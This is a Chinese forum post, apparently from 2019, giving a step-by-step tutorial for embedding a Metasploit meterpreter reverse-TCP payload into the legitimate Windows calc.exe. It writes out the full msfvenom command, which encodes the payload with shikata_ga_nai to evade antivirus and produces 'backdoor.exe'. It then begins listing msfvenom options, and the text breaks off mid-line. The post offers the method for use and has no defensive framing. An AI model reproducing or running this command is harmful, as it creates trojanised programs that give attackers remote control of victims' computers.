本帖最后由 青衫覆雪 于 2019-10-23 08:36 编辑
一、准备工作:
1、安装kali linux
2、从win7上拷贝一个可执行的.exe文件至kali linux(文中使用的是windows自带的calc.exe文件)
二、开始在kali linux上创建.exe文件
命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -e x86/shikata_ga_nai -b 'x00' -x ./calc.exe -f exe -o /opt/z/backdoor.exe (没有报错就表示成功,可以切换到保存的路径下查看)
ps:(LHOST=192.168.88.128 #本机ip地址
LPORT=4444 #要监控的端口
./calc.exe #从windows复制过来的.exe文件
/opt/z/backdoor.exe #生成的文件要存放的路径和名称)
ps:msfvenom的基本参数
Options:
-p, --payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled 为payload预先指定一个NOP滑动长度
-f, --format 指定输出格式 (使用 --help-formats 来获取msf